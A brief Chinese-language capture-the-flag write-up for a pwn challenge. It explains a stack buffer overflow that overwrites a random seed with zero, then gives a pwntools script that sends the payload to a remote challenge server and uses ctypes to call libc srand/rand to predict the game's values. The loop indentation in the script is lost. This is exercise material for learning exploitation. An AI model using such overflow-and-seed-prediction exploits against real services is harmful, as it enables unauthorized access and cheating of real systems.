本题与“4”没有本质区别,这里说一下数组在栈中的存放以及libc库方法直接调用
buf数组大小55,但是读了0x50即80个字节,存在溢出
栈中数组元素存放如下:
因此构造payload覆盖seed地址变为0
可以利用ctypes库直接调用libc库中的方法。
代码如下:
from pwn import *
from ctypes import *
p=remote("111.200.241.244","55029")
payload=b"a"*0x40+p64(0)
p.sendline(payload)
libc = cdll.LoadLibrary("libc.so.6")
libc.srand(0)
nums=[]
for i in range(50):
nums.append(str(libc.rand()%6+1))
for i in range(50):
p.sendline(nums[i])
p.interactive()
如图,获取成功: